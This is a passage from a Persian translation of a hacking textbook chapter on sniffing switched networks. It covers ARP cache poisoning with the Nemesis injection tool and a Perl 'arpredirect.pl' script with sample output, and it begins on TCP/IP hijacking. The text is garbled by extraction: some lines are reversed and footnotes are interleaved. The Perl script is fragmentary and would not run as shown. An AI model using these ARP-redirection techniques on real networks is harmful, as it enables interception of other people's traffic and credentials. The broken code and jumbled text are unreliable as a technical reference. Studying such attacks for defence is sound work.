اﻣﻨﯿﺘﯽ ،اﯾﻦ ﻣﺴﺌﻠﻪ در ﺣﺎﻟﺖ ﮐﻠﯽ ﺧﻮب ﻧﯿﺴﺖ ،ﻟﺬا ﺳﻮﺋﯿﭻ ﻫﺎی ﺑﺎﻫﻮش ﺗﺮ ،ﻣﺤﯿﻂ ﻫﺎی ﺷﺒﮑﻪ ﻫﺎی ﺳﻮﺋﯿﭽﯽ را اراﺋﻪ ﻣـﯽ
دﻫﻨﺪ.
.3,3,1اﺳﺘﺮاق ﻓﻌﺎل
در ﯾﮏ ﻣﺤﯿﻂ ﺷﺒﮑﻪ ﺳﻮﯾﭽﯽ ،73ﺑﺴﺘﻪ ﻫﺎ ﻓﻘﻂ ﺑﻪ ﭘﻮرت ﻫﺎﯾﯽ از ﺳﯿﺴﺘﻢ ﻣﻘﺼﺪ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ اﯾﻦ ﭘﻮرت ﻫـﺎ در آن
ﺳﯿﺴﺘﻢ از ﻗﺒﻞ ﺟﻬﺖ درﯾﺎﻓﺖ ﺑﺴﺘﻪ ﻫﺎ ﺑﺎز ﺷﺪه و ﻣﻨﺘﻈﺮ درﯾﺎﻓﺖ ﺑﺴﺘﻪ ﻫﺎ ﺑﺎﺷﻨﺪ .اﯾﻦ ﮐﺎر ﺑﺮ اﺳﺎس آدرس ﻫـﺎی ﺳـﺨﺖ
اﻓﺰاری ﻣﻘﺼﺪ اﻧﺠﺎم ﻣﯽ ﺷﻮد .اﯾﻦ ﻓﺮآﯾﻨﺪ ،ﺳﺨﺖ اﻓﺰار ﻫﻮﺷﻤﻨﺪﺗﺮی را ﻣﯽ ﻃﻠﺒﺪ ﺗﺎ ﺑﺘﻮاﻧﺪ ﺟﺪوﻟﯽ را اﯾﺠـﺎد و ﻧﮕﻬـﺪاری
ﮐﻨﺪ ﮐﻪ در آن ﺑﯿﻦ آدرس ﻫﺎی MACو ﭘﻮرت ﻫﺎی ﻣﺸﺨﺺ راﺑﻄﻪ ای ﺑﺮﻗﺮار ﺑﺎﺷﺪ .ﻫﻤﺎن ﻃﻮر ﮐﻪ اﯾﻦ ﻣﻄﻠﺐ در زﯾـﺮ
آورده ﺷﺪه اﺳﺖ:
73
Switched Network Environment
124
ﻣﻨﻔﻌﺖ ﻣﺤﯿﻂ ﺳﻮﺋﯿﭽﯽ ،ارﺳﺎل ﺑﺎ ﺑﺮﻧﺎﻣﻪ ی ﺑﺴﺘﻪ ﻫﺎ اﺳﺖ ،ﯾﻌﻨﯽ وﺳﯿﻠﻪ ﻫﺎ ﺗﻨﻬﺎ ﺑﺴﺘﻪ ﻫﺎﯾﯽ را ﻣـﯽ ﻓﺮﺳـﺘﻨﺪ ﮐـﻪ ﺑـﺮای آن
ﺑﺮﻧﺎﻣﻪ رﯾﺰی ﺷﺪه ﺑﺎﺷﻨﺪ :ﻟﺬا وﺳﺎﯾﻞ ﺑﯽ ﻗﺎﻋﺪه ﻗﺎدر ﺑﻪ اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎی اﺿﺎﻓﯽ ﻧﯿﺴﺘﻨﺪ .اﻣﺎ در ﯾﮏ ﻣﺤﯿﻂ ﺳﻮﺋﯿﭽﯽ ﻧﯿـﺰ
راه ﻫﺎی ﻣﺸﺨﺼﯽ ﺑﺮای اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎی ﻣﺮﺑﻮط ﺑﻪ وﺳﺎﯾﻞ دﯾﮕﺮ وﺟﻮد دارد ﮐﻪ اﻧﺪﮐﯽ ﭘﯿﭽﯿﺪه ﺗﺮ ﻫﺴﺘﻨﺪ .ﺑﺮای ﯾـﺎﻓﺘﻦ
روﺷﻬﺎی ﻫﮏ ﺑﻪ ﻣﻨﻈﻮر اﺳﺘﻔﺎده در اﯾﻦ ﻓﺮآﯾﻨﺪ ،ﺟﺰﺋﯿﺎت ﭘﺮوﺗﮑﻞ ﻫﺎ ﺑﺎﯾﺴﺘﯽ اﻣﺘﺤﺎن و ﺑﺎزرﺳﯽ ﺷـﺪه و ﺳـﭙﺲ ﺗﺮﮐﯿـﺐ
ﺷﻮﻧﺪ.
ﯾﮏ ﺟﺰ ﻣﻬﻢ در ارﺗﺒﺎﻃﺎت ﺷﺒﮑﻪ ای ﮐﻪ دﺳﺘﮑﺎری آن ﺳﺒﺐ ﺑﺮوز ﻧﺘﺎﯾﺞ و ﺗﺎﺛﯿﺮات ﺟﺎﻟﺒﯽ ﻣﯽ ﺷﻮد آدرس ﻣﻨﺒﻊ 74اﺳـﺖ.
ﻫﯿﭻ ﻣﺪرﮐﯽ در اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﺟﻬﺖ اﺛﺒﺎت اﯾﻦ ﻣﻄﻠﺐ وﺟﻮد ﻧﺪارد ﮐﻪ آدرس ﻣﻨﺒﻊ ﻣﻮﺟﻮد در ﯾﮏ ﺑﺴﺘﻪ ،واﻗﻌـﺎ ﺑـﺮای
ﻣﺎﺷﯿﻨﯽ ﺑﺎﺷﺪ ﮐﻪ آﻧﺮا ﻣﯽ ﻓﺮﺳـﺘﺪ .ﻋﻤـﻞ ﺟﻌـﻞ آدرس ﻣﻨﺒـﻊ در ﯾـﮏ ﺑـﺴﺘﻪ را Spoofingﻣـﯽ ﻧﺎﻣﻨـﺪ .ﺑـﺎ اﺿـﺎﻓﻪ ﺷـﺪن
spoofingﺑﻪ ﺟﻌﺒﻪ ﺣﻘﻪ ﻫﺎی ﯾﮏ ﻫﮑﺮ ،ﺿﺮﯾﺐ اﯾﺠﺎد ﺧﻄﺮ روی ﯾﮏ ﺳﯿﺴﺘﻢ ﺑﺴﯿﺎر ﺑﺎﻻﺗﺮ ﻣﯽ رود ،ﭼﺮا ﮐﻪ در ﺑﺴﯿﺎری
از ﺳﯿﺴﺘﻢ ﻫﺎ ﻣﻌﺘﺒﺮ ﺑﻮدن آدرس ﻣﻨﺒﻊ ﯾﮏ ﭼﺸﻢ داﺷﺖ ﺑﻮده و ﻫﯿﭻ ﻋﻤﻠﯿﺎﺗﯽ در ﺟﻬﺖ ﺗﺤﻘﻖ اﯾﻦ اﻣﺮ اﻧﺠﺎم ﻧﻤﯽ ﮔﺮدد.
ﻋﻤﻠﯿﺎت ،Spoofingاوﻟﯿﻦ ﮔﺎم در اﺳﺘﺮاق ﺑﺴﺘﻪ ﻫﺎ در ﯾﮏ ﺷﺒﮑﻪ ﺳﻮﺋﯿﭽﯽ اﺳﺖ .دو ﻣﻮرد ﺟﺎﻟـﺐ دﯾﮕـﺮ در ARPﻧﯿـﺰ
وﺟﻮد دارد .ﻧﺨﺴﺖ ،ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ARP Replyﺑﺎ ﯾﮏ آدرس IPدرﯾﺎﻓﺖ ﺷﻮد ﮐـﻪ ﻗـﺒﻼ در ARP Cacheوﺟـﻮد
داﺷﺘﻪ اﺳﺖ .در اﯾﻦ ﺣﺎﻟﺖ ﺳﯿـﺴﺘﻢ ﮔﯿﺮﻧـﺪه ،اﻃﻼﻋـﺎت آدرس ﺳـﺨﺖ اﻓـﺰاری ﺟﺪﯾـﺪ و ﻣﻮﺟـﻮد در ﭘﺎﺳـﺦ را ﺑـﻪ ﺟـﺎی
اﻃﻼﻋﺎت اوﻟﯿﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ )ﻣﮕـﺮ اﯾﻨﮑـﻪ آن entryدر ARP Cacheﺑـﻪ ﺻـﻮرت ﺛﺎﺑـﺖ ) (Permanentﻧـﺸﺎﻧﻪ
ﮔﺬاری ﺷﺪه ﺑﺎﺷﺪ( .دوم اﯾﻨﮑﻪ ،ﺣﺘﯽ اﮔـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎ ﯾـﮏ ARP Requestرا ﻧﻔﺮﺳـﺘﻨﺪ ،ﻫﻤﯿـﺸﻪ ﻣـﯽ ﺗﻮاﻧﻨـﺪ ARP
Replyرا درﯾﺎﻓﺖ ﮐﻨﻨﺪ ،ﭼﺮا ﮐﻪ اﻃﻼﻋﺎت وﺿﻌﯿﺘﯽ درﺑﺎره ﺗﺮاﻓﯿﮏ ARPﻧﮕﻬـﺪاری ﻧﻤـﯽ ﺷـﻮﻧﺪ ،ﭼـﻮن اﯾـﻦ ﻋﻤـﻞ ﺑـﻪ
ﺣﺎﻓﻈﻪ ﺑﯿﺸﺘﺮی ﻧﯿﺎز داﺷﺘﻪ و ﭘﺮوﺗﮑﻞ را ﭘﯿﭽﯿﺪه ﺗﺮ ﻣﯽ ﮐﻨﺪ.
ﻫﻨﮕﺎﻣﯽ ﮐﻪ اﯾﻦ ﺳﻪ ﺟﺰ ﺑﻪ درﺳﺘﯽ اﮐﺴﭙﻠﻮﯾﺖ ﺷﻮﻧﺪ ،ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه اﺳﺘﺮاق ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ را در ﯾﮏ ﺷﺒﮑﻪ ﺳـﻮﺋﯿﭽﯽ
ﻣﯿﺪﻫﻨﺪ .اﯾﻦ ﮐﺎر ﺑﺎ ﺗﮑﻨﯿﮑﯽ ﺑﻪ ﻧﺎم ﺗﻐﯿﯿﺮ ﺟﻬﺖ/ﻫﺪاﯾﺖ (ARP Redirection) ARPﻗﺎﺑﻞ اﻧﺠﺎم اﺳﺖ .ﻧﻔﻮذﮔﺮ ﺟـﻮاب
ﻫﺎی ﺟﻌﻠﯽ ARPرا ﺑﻪ ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺸﺨﺼﯽ ﻣﯽ ﻓﺮﺳﺘﺪ .اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﭘﺮ ﺷﺪن ﻣﻔــــﺎدِ ARP Cacheﺑـﺎ اﻃﻼﻋـﺎت
ﻫﮑﺮ ﻣﯽ ﺷﻮد ﮐﻪ آﻧﺮا ﻣﺴﻤﻮم ﮐﺮدن ذﺧﯿﺮه (ARP Cache Poisoning) ARPﻣـﯽ ﻧـﺎﻣﯿﻢ .ﺟﻬـﺖ اﺳـﺘﺮاق ﺗﺮاﻓﯿـﮏ
ﺷﺒﮑﻪ ﺑﯿﻦ دو ﻧﻘﻄﻪ Aو ،Bﻧﻔﻮذﮔﺮ ﺑﺎﯾﺴﺘﯽ ARP Cacheﺳﯿﺴﺘﻢ Aرا ﻃﻮری ﻣﺴﻤﻮم ﮐﻨﺪ ﮐﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ آدرس IP
ﺳﯿﺴﺘﻢ Bﺑﺎ آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ راﺑﻄﻪ دارد .در ﮐﻨﺎر آن ARP Cache ،ﺳﯿﺴﺘﻢ Bﻧﯿﺰ ﺑﺎﯾـﺪ ﻃـﻮری
ﻣﺴﻤﻮم ﺷﻮد ﮐﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ آدرس IPﺳﯿﺴﺘﻢ Aﺑﺎ آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔـﻮذﮔﺮ راﺑﻄـﻪ دارد .ﺳـﭙﺲ ﮐـﺎﻓﯽ
اﺳﺖ ﮐﻪ ﻧﻔﻮذﮔﺮ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﻪ ﻣﻘﺼﺪﻫﺎی ﻧﻬﺎﯾﯽ ﻣﺮﺑﻮﻃﻪ ارﺳﺎل ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﺗﻤﺎم ﺗﺮاﻓﯿﮏ ﺑﯿﻦ Aو Bﺑﺪون
ﻣﺸﮑﻞ ﺗﺤﻮﯾﻞ آﻧﻬﺎ داده ﻣﯽ ﺷﻮد ،اﻣﺎ در ﮔﺬر اﯾﻦ اﻃﻼﻋﺎت ﺑﻪ ﺳﯿﺴﺘﻢ ﻣﻘﺎﺑﻞ ،از ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ﻧﯿﺰ ﻋﺒﻮر ﺧﻮاﻫﻨﺪ ﮐـﺮد.
اﯾﻦ ﻓﺮآﯾﻨﺪ در ﺗﺼﻮﯾﺮ زﯾﺮ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ:
74
Source Address
125
ﭼﻮن Aو ،Bﻫﺪرﻫﺎی اﺗﺮﻧﺖ را روی ﺑﺴﺘﻪ ﻫﺎی ﺧﻮد ﺑﺮ اﺳﺎس ARP Cacheﻫﺎ ﺑﺴﺘﻪ ﺑﻨﺪی ﻣﯽ ﮐﻨﻨﺪ ،ﻟﺬا ﺗﺮاﻓﯿﮏ IP
ﺳﯿﺴﺘﻢ Aﺑﺎ ﻫﺪفِ ﺳﯿﺴﺘﻢ ) Bﻣﻘﺼﺪ( ،در ﻋﻤﻞ ﺑﻪ آدرس ﺳﺨﺖ اﻓﺰاری ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮد و ﺑﻌﮑﺲ .ﺳﻮﺋﯿﭻ ﺗﻨﻬﺎ
ﺗﺮاﻓﯿﮏ ﻣﺒﺘﻨﯽ ﺑﺮ آدرس ﺳﺨﺖ اﻓﺰاری را ﻓﯿﻠﺘﺮ ﻣﯽ ﮐﻨﺪ .ﺑﻨﺎﺑﺮاﯾﻦ ﺳﻮﺋﯿﭻ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺑﺮﻧﺎﻣﻪ رﯾﺰی ﺷﺪه ﮐﺎر ﻣﯽ ﮐﻨـﺪ
و ﺗﺮاﻓﯿﮏ IPارﺳﺎﻟﯽ از ﺳﯿﺴﺘﻢ ﻫﺎی Aو Bرا ﮐﻪ ﻋﺎزم آدرس ﺳﺨﺖ اﻓﺰاری ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ﻫﺴﺘﻨﺪ ،ﺑﻪ ﭘﻮرت ﺗﻌﯿﯿﻦ
ﺷﺪه در ﺳﯿﺴﺘﻢ ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ دارد .آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺑﺴﺘﻪ ﻫﺎی IPرا ﺑﺎ ﻫﺪرﻫﺎی اﺗﺮﻧﺖ ﻣﻨﺎﺳﺐ ﻣﺠﺪدا ﻧﮕﺎﺷـﺖ ﻣـﯽ
ﮐﻨﺪ ) (remapو آﻧﻬﺎ را ﺑﻪ ﺳﻮﺋﯿﭻ )ﮐﻪ در آﻧﺠﺎ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﻣﺴﯿﺮ ﺻﺤﯿﺢ ،ﻣﺴﯿﺮدﻫﯽ ﻣﯽ ﺷﻮﻧﺪ( ﺑﺎز ﻣﯽ ﮔﺮداﻧـﺪ .ﺳـﻮﺋﯿﭻ
وﻇﯿﻔﻪ ﺧﻮد را اﻧﺠﺎم ﻣﯽ دﻫﺪ .اﯾﻦ ﺳﯿﺴﺘﻢ ﻫﺎی ﻗﺮﺑﺎﻧﯽ ﻫﺎ اﺳﺖ ﮐﻪ در ﻣﻘﺎﺑﻞ ﻫﺪاﯾﺖ ) (redirectionﺗﺮاﻓﯿﮏ ﺑﻪ ﺳﯿﺴﺘﻢ
ﻧﻔﻮذﮔﺮ ﻓﺮﯾﺐ ﺧﻮرده اﻧﺪ.
ﻧﺎﺷﯽ از ﻣﻘﺎدﯾﺮ ،time-outﻣﺎﺷﯿﻦ ﻫﺎی ﻗﺮﺑﺎﻧﯽ درﺧﻮاﺳﺖ ﻫﺎی واﻗﻌﯽ ARPرا در ﻓﻮاﺻﻞ ﻣﻌﯿﻦ ارﺳـﺎل و ﭘﺎﺳـﺦ ﻫـﺎی
واﻗﻌﯽ ARPرا در ﭘﺎﺳﺦ درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﻨﺪ .ﺟﻬﺖ ﺑﺎﭘﺮﺟﺎ ﻣﺎﻧـﺪن ﺣﻤـﻼت ،Redirectionﻧﻔـﻮذﮔﺮ ﺑﺎﯾـﺪ روﻧـﺪ ﻣـﺴﻤﻮم
ﮐﺮدن ARP Cacheﻫﺎی ﻣﺎﺷﯿﻦ ﻫﺎی ﻗﺮﺑﺎﻧﯽ را اداﻣﻪ دﻫﺪ .ﯾﮏ راه ﺳﺎده ﺑﺮای اﺟﺮای اﯾـﻦ ﮐـﺎر ،ارﺳـﺎل ﭘﺎﺳـﺦ ﻫـﺎی
ﺟﻌﻠﯽ ARPدر ﻓﻮاﺻﻞ زﻣﺎﻧﯽ ﺛﺎﺑﺖ )ﻣﺜﻼ ﻫﺮ ده ﺛﺎﻧﯿﻪ( ﺑﻪ ﺳﯿﺴﺘﻢ Aو Bاﺳﺖ.
ﭘـــﻞ ارﺗـﺒﺎﻃﯽ 75ﺳﯿﺴﺘﻤﯽ اﺳﺖ ﮐﻪ ﺗﻤﺎم ﺗﺮاﻓﯿـــــﮏ را از ﺷﺒﮑﻪ داﺧـــــﻠﯽ ﺑﻪ اﯾـــﻨﺘﺮﻧﺖ ﻣﺴﯿﺮ دﻫﯽ ﻣﯽ ﮐﻨﺪ .ﺣﻤﻼت
ARP Redirectionزﻣﺎﻧﯽ ﺑﻪ اوج ﻟﺬت ﯾﮏ ﻫﮑﺮ ﻣﯽ اﻧﺠﺎﻣﻨـﺪ ﮐـﻪ ﯾﮑـﯽ از ﻣﺎﺷـﯿﻦ ﻫـﺎی ﻗﺮﺑـﺎﻧﯽ ،ﭘـﻞ ارﺗﺒـﺎﻃﯽ ﭘـﯿﺶ
ﻓﺮض 76ﺑﺎﺷﺪ ،ﭼﺮا ﮐﻪ ﺗﺮاﻓﯿﮏ ﺑﯿﻦ ﭘﻞ ارﺗﺒﺎﻃﯽ ﭘﯿﺶ ﻓـﺮض و ﯾـﮏ ﺳﯿـﺴﺘﻢ دﯾﮕـﺮ ،در ﺣﻘﯿﻘـﺖ ﺗﺮاﻓﯿـﮏ اﯾﻨﺘﺮﻧـﺖ آن
ﺳﯿﺴﺘﻢ اﺳﺖ .ﺑﺮای ﻣﺜﺎل ،اﮔﺮ ﯾﮏ ﻣﺎﺷﯿﻦ ) (192.168.0.118ﺑﺎ ﯾﮏ ﭘﻞ ارﺗﺒﺎﻃﯽ ) (192.168.0.1روی ﯾﮏ ﺳﻮﺋﯿﭻ در
ﺣﺎل ارﺗﺒﺎط ﺑﺎﺷﺪ ،ﺗﺮاﻓﯿﮏ ﺑﻪ آدرس ﺳﺨﺖ اﻓﺰاری ﻣﺤﺪود ﻣﯿﺸﻮد ،ﯾﻌﻨﯽ ﺣﺘﯽ در ﺣﺎﻟﺖ ﺑﯽ ﻗﺎﻋﺪه ﻧﯿـﺰ ﻧﻤـﯽ ﺗـﻮان اﯾـﻦ
ﺗﺮاﻓﯿﮏ را ﺑﻪ ﺳﺎدﮔﯽ اﺳﺘﺮاق ﮐﺮد .ﺟﻬﺖ اﺳﺘﺮاق اﯾﻦ ﺗﺮاﻓﯿﮏ ﺑﺎﯾﺪ آﻧﺮا ﺗﻐﯿﯿﺮ ﺟﻬﺖ داد ﯾﺎ ﻫﺪاﯾﺖ ) (redirectﮐﺮد.
ﺑﺮای ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ اﺑﺘﺪا ﻧﯿﺎز ﺑﻪ آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری 192.168.0.118و 192.168.0.1اﺳـﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان
آﻧﻬﺎ را ﺑﺎ ﭘﯿﻨﮓ ﮐﺮدن اﯾﻦ ﻣﯿﺰﺑﺎن ﻫﺎ ﺑﺪﺳﺖ آورد ،ﭼﺮا ﮐﻪ ﻫﻤﻪ ارﺗﺒﺎﻃﺎت IPﺟﻬﺖ ﺑﺮﻗﺮاری ارﺗﺒـﺎط از ARPاﺳـﺘﻔﺎده
ﻣﯽ ﮐﻨﻨﺪ.
# ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
75
Gateway
76
default gateway
126
round-trip min/avg/max = 0.4/0.4/0.4 ms
# ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
#
ﻣﻮﺟــﻮدARP Cache در192.168.0.1 و192.168.0.118 آدرس ﻫــﺎی ﺳــﺨﺖ اﻓــﺰاری،ﭘــﺲ از اﺟــﺮای ﭘﯿﻨــﮓ
ﻣﯽ ﺗﻮاﻧﻨـﺪ ﺑـﻪ، ﻟﺬا ﺑﺴﺘﻪ ﻫﺎ ﭘﺲ از ﻫﺪاﯾﺖ ﺑﻪ ﻣﺎﺷﯿﻦ ﻧﻔﻮذﮔﺮ، ﻻزم ﻫﺴﺘﻨﺪARP Cache اﯾﻦ اﻃﻼﻋﺎت در.ﺧﻮاﻫﻨﺪ ﺑﻮد
اﮐﻨﻮن ﻣﯽ ﺗـﻮان، درون ﻫﺴﺘﻪ ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه اﻧﺪIP-Forwarding ﺑﺎ ﻓﺮض اﯾﻨﮑﻪ ﻗﺎﺑﻠﯿﺖ ﻫﺎی.ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮد ﺑﺮﺳﻨﺪ
ﮔﻔﺘـﻪ ﺷـﻮد ﮐـﻪ192.168.0.118 ﺑﺎﯾﺪ ﺑـﻪ ﺳﯿـﺴﺘﻢ. در دوره ﻫﺎی زﻣﺎﻧﯽ ﻣﻨﻈﻢ اﺳﺘﻔﺎده ﮐﺮدARPاز ﭼﻨﺪ ﭘﺎﺳﺦ ﺟﻌﻠﯽ
ﻧﯿﺰ ﺑﺎﯾﺪ ﮔﻔـﺖ ﮐـﻪ192.168.0.1 ﻗﺮار دارد؛ ﺑﻪ ﺳﯿﺴﺘﻢ00:00:AD:D1:C7:ED در آدرس192.168.0.1 ﺳﯿﺴﺘﻢ
را ﻣﯽ ﺗـﻮان ﺑـﺎ اﺳـﺘﻔﺎده ازARP اﯾﻦ ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ. اﺳﺖ00:00:AD:D1:C7:ED در آدرس192.168.0.118
در اﺻـﻞNemesis .( اﺳـﺖcommand line ﺗﺰرﯾﻖ ﮐﺮد )ﮐـﻪ ﺑـﻪ ﺻـﻮرتNemesis ﺑﺎ ﻧﺎم77ﯾﮏ اﺑﺰار ﺗﺰرﯾﻖ ﺑﺴﺘﻪ
78
ﺑﻪ ﯾـﮏ اﺑـﺰار واﺣـﺪ ﺑـﺎ1,4 اﻣﺎ اﯾﻦ ﻧﺮم اﻓﺰار در ﻧﺴﺨﻪ.ﻧﻮﺷﺘﻪ ﺷﺪه ﺑﻮدﻧﺪ رﺷﺘﻪ اﺑﺰاری ﺑﻮد ﮐﻪ ﺗﻮﺳﻂ ﻣﺎرک ﮔﺮﯾﻤﺰ
. ﺗﺒﺪﯾﻞ ﺷﺪ79ﺗﻮﺳﻌﻪ ﮔﺮی ﺟﺪﯾﺪ ﺑﻪ ﻧﺎم ﺟﻒ ﻧﺎﺗﺎن
# nemesis
NEMESIS Usage:
nemesis [mode] [options]
NEMESIS modes:
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp
NEMESIS options:
To display options, specify a mode with the option "help".
77
packet injection
78
Mark Grimes
79
Jeff Nathan
127
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)
ARP/RARP Usage:
arp [-v (verbose)] [options]
ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-s <Solaris style ARP requests with target hardware addess set to
broadcast>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build
22)
#!/usr/bin/perl
$device = "eth0";
if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("MAC address of $targ not found.\n");
}
# Get your IP and MAC
print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5);
$me_mac = @ifconf[4];
sub cleanup
{ # Put things back to normal
$flag = 0;
print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to
normal.";
system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac
-H
$gw_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac
-H
$targ_mac -M $gw_mac");
}
# ./arpredirect.pl
Usage: arpredirect.pl <gateway> <target>
# ./arpredirect.pl 192.168.0.1 192.168.0.118
Pinging 192.168.0.1 and 192.168.0.118 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.1 is at 00:50:18:00:0F:01
[*] Target: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.1 -> 00:00:AD:D1:C7:ED <- 192.168.0.118
ARP Packet Injected
ﺗﮑﻨﯿﮑﯽ زﯾﺮﮐﺎﻧﻪ اﺳﺖ ﮐﻪ از ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ ﺑﺮای ﺗﺴﻠﻂ ﺑﺮ ارﺗﺒﺎط ﺑﯿﻦ ﻗﺮﺑـﺎﻧﯽ و ﯾـﮏ ﻣﺎﺷـﯿﻦTCP/IP Hijacking
ﻗـﺎدر ﺑـﻪ، ﺑـﻪ ﺟـﺎی ﻗﺮﺑـﺎﻧﯽ، ﻣـﯽ ﺷـﻮد( و ﻧﻔـﻮذﮔﺮhang) ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﺗﻌﻠﯿﻖ در ﻣﯽ آﯾـﺪ.ﻣﯿﺰﺑﺎن اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ
ﺟﻬﺖ اﺗﺼﺎل ﺑـﻪ ﻣﺎﺷـﯿﻦ، در ﻣﻮاﻗﻊ اﺳﺘﻔﺎده ﻗﺮﺑﺎﻧﯽ از ﯾﮏ ﭘﺴﻮرد ﯾﮑﺒﺎر ﻣﺼﺮف.ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن اﺳﺖ
ﭘـﺴﻮرد ﯾﮑﺒـﺎر ﻣـﺼﺮف را ﻣـﯽ ﺗـﻮان ﺑـﺮای ﯾـﮏ ﺑـﺎر و ﻓﻘـﻂ ﯾـﮏ ﺑـﺎر. اﯾﻦ ﺗﮑﻨﯿﮏ ﺑﺴﯿﺎر ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﮔـﺮدد،ﻣﯿﺰﺑﺎن
TCP/IP در اﯾـﻦ ﺻـﻮرت.( ﺑـﺮای ﻧﻔـﻮذﮔﺮ ﺑﻼﻓﺎﯾـﺪه اﺳـﺖauth) ﯾﻌﻨـﯽ اﺳـﺘﺮاق ﺗـﺼﺪﯾﻖ،اﻋﺘﺒﺎرﺳﻨﺠﯽ اﺳﺘﻔﺎده ﮐﺮد
. روﺷﯽ ﻓﻮق اﻟﻌﺎده ﺑﺮای ﺣﻤﻠﻪ اﺳﺖHijacking
از ﯾﮏ ﺷـﻤﺎره ﺗـﻮاﻟﯽ ﻧﮕﻬـﺪاری ﻣـﯽ، ﻫﺮ ﻃﺮف،TCP در ﺧﻼل ﻫﺮ ارﺗﺒﺎط،ﻫﻤﺎن ﻃﻮر ﮐﻪ در اﺑﺘﺪای اﯾﻦ ﻓﺼﻞ ذﮐﺮ ﺷﺪ
، ﮔﯿﺮﻧﺪه. ﺷﻤﺎره ﺗﻮاﻟﯽ ﺑﺎ ﻫﺮ ﺑﺴﺘﻪ ی ارﺳﺎﻟﯽ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ، ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﻋﻘﺐ و ﺟﻠﻮ ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ.ﮐﻨﺪ
130
ﻫﺮ ﺑﺴﺘﻪ ﺑﺎ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ را ﺑﻪ ﻻﯾﻪ ﺑﻌﺪی در ﺑﺎﻻی ﭘﺸﺘﻪ ﻣﻨﺘﻘﻞ ﻧﻤﯽ ﮐﻨﺪ .اﮔﺮ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﭘﯿﺸﯿﻦ اﺳﺘﻔﺎده
ﺷﻮﻧﺪ ،ﺑﺴﺘﻪ ﺣﺬف ﺷﺪه ) (dropو اﮔﺮ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﺑﻌﺪی اﺳﺘﻔﺎده ﺷﻮﻧﺪ ،ﺑﺴﺘﻪ ﺑـﺮای ﺑﺎزﺳـﺎزی آﺗـﯽ ذﺧﯿـﺮه ﻣـﯽ
